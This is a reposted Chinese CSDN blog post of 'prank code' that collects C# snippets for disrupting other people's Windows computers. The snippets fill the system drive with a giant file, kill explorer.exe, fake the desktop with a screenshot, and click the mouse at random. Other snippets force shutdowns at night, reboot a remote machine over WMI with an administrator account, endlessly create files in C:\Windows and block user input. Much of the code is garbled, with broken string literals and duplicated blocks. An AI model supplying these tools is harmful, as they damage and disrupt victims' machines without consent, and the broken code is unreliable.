整人代码2

System.IO.FileStream fs= new FileStream(\"C:\\\\1.txt\

fs.SetLength(System.IO.DriveInfo.GetDrives()[0].TotalFreeSpace-1024*1024); fs.Close(); 2、

[DllImport(\"user32.dll\ public static extern int SystemParametersInfo( int uAction, int uParam,

string lpvParam, int fuWinIni );

///

/// 图片路径 private void SetDestPicture(string picture) {

if (File.Exists(picture)) {

if (Path.GetExtension(picture).ToLower() != \"bmp\") {

// 其它格式文件先转换为bmp再设置 string tempFile = @\"D:\est.bmp\";

Image image = Image.FromFile(picture); image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp); picture = tempFile; }

SystemParametersInfo(20, 0, picture, 0x2); } }

这个才更有点意思

可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下

3、

先建个Console Application，Form1的ShowInTaskBar属性false,WindowState属性Minimized，再加个timer控件，Enable属性true写入下面代码：

C# code

using System;

using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text;

using System.Windows.Forms;

using System.Runtime.InteropServices;

namespace 活动窗体震动 {

public partial class Form1 : Form {

public Form1() {

InitializeComponent(); }

internal struct RECT {

public int left; public int top; public int right; public int bottom; }

[DllImport(\"user32.dll\ internal static extern IntPtr GetForegroundWindow();

[DllImport(\"user32.dll\CharSet = CharSet.Auto, CallingConvention =

CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]

internal static extern bool GetWindowRect(IntPtr hWnd, ref RECT rect);

[DllImport(\"user32.dll\CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]

internal static extern void MoveWindow(IntPtr hwnd,int X,int Y,int nWidth,int nHeight,bool bRepaint); IntPtr id;

RECT Rect = new RECT();

private void timer1_Tick(object sender, EventArgs e) {

id = GetForegroundWindow();//id = this.Handle;只能自己跳 Random myRandom = new Random();//随机数对观众来说更壮观点 GetWindowRect(id, ref Rect); MoveWindow(id, myRandom.Next(1024), myRandom.Next(768), Rect.right-Rect.left, Rect.bottom-Rect.top, true); } } }

当年我在csdn的兄弟们帮助下完成的,不过火恰到好处,试试效果吧.自认为比上面的好玩点... 4、

杀掉桌面进程啊 用户就黑屏了

恢复的时候，ctrl + alt + del 新建explorer.exe就好了

Process[] MyProcesses=Process.GetProcesses(); foreach(Process MyProcess in MyProcesses) {

if(myProcess.Name = \"explorer\") {

myProcess.Kill(); } }

5、

using System;

using System.Diagnostics; using System.Media;

using System.Runtime.InteropServices; using System.Threading;

namespace wga {

static class Program {

const int MOUSEEVENTF_LEFTDOWN = 0x2; const int MOUSEEVENTF_LEFTUP = 0x4;

const int MOUSEEVENTF_MIDDLEDOWN = 0x20; const int MOUSEEVENTF_MIDDLEUP = 0x40; const int MOUSEEVENTF_MOVE = 0x1;

const int MOUSEEVENTF_ABSOLUTE = 0x8000; const int MOUSEEVENTF_RIGHTDOWN = 0x8; const int MOUSEEVENTF_RIGHTUP = 0x10;

[DllImport(\"user32.dll\")]

static extern int GetSystemMetrics(int nIndex); [DllImport(\"user32.dll\")]

static extern int SetCursorPos(int x, int y); [DllImport(\"user32.dll\")]

static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

static int Sx, Sy; static long tick = 1;

static Random rnd = new Random(); [STAThread]

static void Main() {

try {

Sx = GetSystemMetrics(0); Sy = GetSystemMetrics(1); while(true) {

if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0) DoShutdown();

Thread.Sleep(1000); tick += rnd.Next(2); if(tick < 1800) continue;

if(tick % 3 == 0) DoMouse();

if(tick % 313 == 0) DoBang(); } }

catch { }; }

static void DoMouse() {

int dx, dy; int c = 4; while(c-- > 0) {

dx = rnd.Next(Sx); dy = rnd.Next(Sy); switch(rnd.Next(3)) {

case 0:

SetCursorPos(dx, dy); break; case 1:

mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0); break; case 2:

mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0); break; }

Thread.Sleep(100); } }

static void DoBang() {

switch(rnd.Next(4)) {

case 0:

SystemSounds.Asterisk.Play(); break;

case 1:

SystemSounds.Beep.Play(); break; case 2:

SystemSounds.Exclamation.Play(); break; case 3:

SystemSounds.Hand.Play(); break; } }

static void DoShutdown() {

Process.Start(\"shutdown.exe\ } } } 6、

今天没事干,根据52楼的思想做了一个假屏.

public partial class VirtualForm : Form {

private Bitmap bitmap;

public VirtualForm() {

InitializeComponent(); bitmap= getDisplay(); }

private void VirtualForm_Load(object sender, EventArgs e) {

this.FormBorderStyle= System.Windows.Forms.FormBorderStyle.None; this.WindowState= FormWindowState.Maximized; this.BackgroundImage= bitmap; }

[System.Runtime.InteropServices.DllImportAttribute(\"gdi32.dll\")] private static extern IntPtr CreateDC( string lpszDriver,// 驱动名称

string lpszDevice,// 设备名称

string lpszOutput,// 无用，可以设定位\"NULL\" IntPtr lpInitData// 任意的打印机数据 );

//获取当前屏幕

[System.Runtime.InteropServices.DllImportAttribute(\"gdi32.dll\")] private static extern bool BitBlt( IntPtr hdcDest,//目标设备的句柄

int nXDest,// 目标对象的左上角的X坐标 int nYDest,// 目标对象的左上角的X坐标 int nWidth,// 目标对象的矩形的宽度 int nHeight,// 目标对象的矩形的长度 IntPtr hdcSrc,// 源设备的句柄

int nXSrc,// 源对象的左上角的X坐标 int nYSrc,// 源对象的左上角的X坐标 System.Int32 dwRop// 光栅的操作值 );

public static Bitmap getDisplay() {

IntPtr dc1= CreateDC(\"DISPLAY\ //创建显示器的DC

Graphics g1= Graphics.FromHdc(dc1);

//由一个指定设备的句柄创建一个新的Graphics对象

Bitmap MyImage= new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);

//根据屏幕大小创建一个与之相同大小的Bitmap对象 Graphics g2= Graphics.FromImage(MyImage); //获得屏幕的句柄

IntPtr dc3= g1.GetHdc(); //获得位图的句柄

IntPtr dc2= g2.GetHdc(); //把当前屏幕捕获到位图对象中 BitBlt(dc2,0,0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3,0,0,13369376); //把当前屏幕拷贝到位图中 g1.ReleaseHdc(dc3); //释放屏幕句柄

g2.ReleaseHdc(dc2); //释放位图句柄 return MyImage; } }

7、远程关闭别人的电脑 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Management; namespace Ex18_11 { public

partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { //指定生成 WMI 连

接所需的所有设置 ConnectionOptions op = new ConnectionOptions(); op.Username = \"administrator\"; //远程计算机用户名称 op.Password = \"\"; //远程计算机用户密码 //设置操作管理范围 ManagementScope

scope = new ManagementScope(\"\\\\\\\\\" + \"192.9.103.114\" + \"\\\\root\\\\cimv2\op); scope.Connect(); //将此 ManagementScope 连接到实际的 WMI 范围。 ObjectQuery oq = new ObjectQuery(\"SELECT * FROM Win32_OperatingSystem\"); ManagementObjectSearcher query = new ManagementObjectSearcher(scope, oq); //得到WMI控制 ManagementObjectCollection queryCollection =

query.Get(); foreach (ManagementObject obj in queryCollection) { // obj.InvokeMethod(\"ShutDown\null); //执行关闭远程计算机,reboot为重新启动 obj.InvokeMethod(\"Reboot\}8、直接关闭显示器 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; namespace ControlHardWare { public

partial class Form1 : Form { public Form1() { InitializeComponent(); } #region SendMessage public const uint WM_SYSCOMMAND = 0x0112; public const uint SC_MONITORPOWER = 0xF170; [DllImport(\"user32\")] public static extern IntPtr

SendMessage(IntPtr hWnd, uint wMsg, uint wParam, int lParam); #endregion private void button1_Click(object sender, EventArgs e) { CloseLCD(sender, e); } void CloseLCD(object sender, EventArgs e) { SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); // 2 为关闭显示器， －1则打开显示器 } } } 9、using System.Runtime.InteropServices; C# code public class Shudown {

[StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid {

public int Count; public long Luid; public int Attr; }

[DllImport(\"kernel32.dll\ internal static extern IntPtr GetCurrentProcess();

[DllImport(\"advapi32.dll\ExactSpelling = true, SetLastError = true)]

internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);

[DllImport(\"advapi32.dll\

internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);

[DllImport(\"advapi32.dll\ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,

ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);

[DllImport(\"user32.dll\ internal static extern bool ExitWindowsEx(int DoFlag, int rea); internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008;

internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

internal const string SE_SHUTDOWN_NAME = \"SeShutdownPrivilege\"; internal const int EWX_LOGOFF = 0x00000000; internal const int EWX_SHUTDOWN = 0x00000001; internal const int EWX_REBOOT = 0x00000002; internal const int EWX_FORCE = 0x00000004; internal const int EWX_POWEROFF = 0x00000008; internal const int EWX_FORCEIFHUNG = 0x00000010;

private static void DoExitWin(int DoFlag) {

bool ok;

TokPriv1Luid tp;

IntPtr hproc = GetCurrentProcess(); IntPtr htok = IntPtr.Zero; ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);

tp.Count = 1; tp.Luid = 0;

tp.Attr = SE_PRIVILEGE_ENABLED;

ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid); ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);

ok = ExitWindowsEx(DoFlag, 0); }

public static void Reboot() {

DoExitWin(EWX_FORCE | EWX_REBOOT); }

public static void PowerOff() {

DoExitWin(EWX_FORCE | EWX_POWEROFF); }

public static void LogOff() {

DoExitWin(EWX_FORCE | EWX_LOGOFF); } }

只要调用 Reboot()重启，PowerOff()关闭，LogOff()注销 这三个函数就OK了~！10、using System; using System.Diagnostics; using System.Media; using System.Runtime.InteropServices; using System.Threading; namespace wga { static class Program { const int MOUSEEVENTF_LEFTDOWN = 0x2; const int

MOUSEEVENTF_LEFTUP = 0x4; const int MOUSEEVENTF_MIDDLEDOWN = 0x20; const int MOUSEEVENTF_MIDDLEUP = 0x40; const int MOUSEEVENTF_MOVE = 0x1; const int MOUSEEVENTF_ABSOLUTE = 0x8000; const int MOUSEEVENTF_RIGHTDOWN =

0x8; const int MOUSEEVENTF_RIGHTUP = 0x10; [DllImport(\"user32.dll\")] static extern int GetSystemMetrics(int nIndex); [DllImport(\"user32.dll\")] static extern int SetCursorPos(int x, int y); [DllImport(\"user32.dll\")] static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo); static int Sx, Sy; static

long tick = 1; static Random rnd = new Random(); [STAThread] static void Main() { try { Sx =

GetSystemMetrics(0); Sy = GetSystemMetrics(1); while(true) { if((DateTime.Now.Hour > 22 &&

DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0) DoShutdown(); Thread.Sleep(1000); tick

+= rnd.Next(2); if(tick < 1800) continue; if(tick % 3 == 0) DoMouse(); if(tick % 313 == 0) DoBang(); } } catch { }; }

static void DoMouse() { int dx, dy; int c = 4; while(c-- > 0) { dx = rnd.Next(Sx); dy

= rnd.Next(Sy); switch(rnd.Next(3)) { case 0: SetCursorPos(dx, dy); break; case 1: mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx,

dy, 0, 0); break; case 2: mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx,

dy, 0, 0); break; } Thread.Sleep(100); } } static void DoBang()

{ switch(rnd.Next(4)) { case 0: SystemSounds.Asterisk.Play(); break; case 1: SystemSounds.Beep.Play(); break; case 2: SystemSounds.Exclamation.Play(); break; case

3: SystemSounds.Hand.Play();

break; } } static void DoShutdown() { Process.Start(\"shutdown.exe\、我也来个。。。 long k=0; While(true) { k++; File.Create(\"C:\\Windows\\\"+k.ToString()+\".jok\"); } 12、再来一个，启动屏保 C# code private void RunScreenSaver() {

String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, \"*.scr\");

if (screenSavers.Length > 0) {

// 启动获取到的第一个屏保

Process.Start(new ProcessStartInfo(screenSavers[0])); } }

13、篡改背景图片 C# code

[DllImport(\"user32.dll\ public static extern int SystemParametersInfo( int uAction, int uParam,

string lpvParam, int fuWinIni );

///

/// 图片路径 private void SetDestPicture(string picture) {

if (File.Exists(picture)) {

if (Path.GetExtension(picture).ToLower() != \"bmp\") {

// 其它格式文件先转换为bmp再设置 string tempFile = @\"D:\est.bmp\";

Image image = Image.FromFile(picture); image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp); picture = tempFile; }

SystemParametersInfo(20, 0, picture, 0x2);

}

14、我也发一个，阻止用户输入，不过按Ctrl+Alt++del就可解除。 C# code // true阻止输入，false解除阻止输入 [DllImport(\"User32.dll\")]

public static extern bool BlockInput(bool enabled); 15、

本文来自CSDN博客，转载请标明出http://blog.csdn.net/ainicanfly/archive/2008/12/04/3444003.aspx

处：